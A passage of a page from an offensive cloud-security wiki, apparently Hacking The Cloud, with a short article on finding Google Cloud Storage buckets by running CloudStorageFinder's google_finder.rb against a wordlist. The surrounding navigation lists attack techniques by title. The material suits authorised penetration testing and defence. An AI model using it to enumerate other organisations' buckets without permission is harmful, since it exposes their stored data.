</li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1 checked> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=true> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Moses Frost (@mosesrenegade)</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/general-knowledge/gcp-buckets.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=hunting-gcp-buckets>Hunting GCP Buckets<a class=headerlink href=#hunting-gcp-buckets title="Permanent link">&para;</a></h1> <p>GCP Buckets are almost 100% identical to AWS S3 Buckets. </p> <p><em>Theory</em>: This call is based on OpenStack; maybe most cloud environments will be the same.</p> <p>Using @digininja's <a href=https://github.com/digininja/CloudStorageFinder>CloudStorageFinder</a> diff the following files:</p> <p><code>diff bucket_finder.rb google_finder.rb</code></p> <p>The main differences are the URLs:</p> <ul> <li>AWS Supports HTTP and HTTPS</li> <li><code>AWS S3</code> URLs: <code>http://s3-region.amazonaws.com</code>, i.e.: <code>http://s3-eu-west-1.amazonaws.com</code>.</li> <li>GCP Endpoint: <code>https://storage.googleapis.com</code></li> </ul> <p>How to find buckets using CloudStorageFinder:</p> <p>Create a wordlist with any name; in our example, it is <code>wordlist.txt</code>.</p> <p>$ <code>ruby google_finder.rb wordlist.txt</code></p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">January 13, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">May 29, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 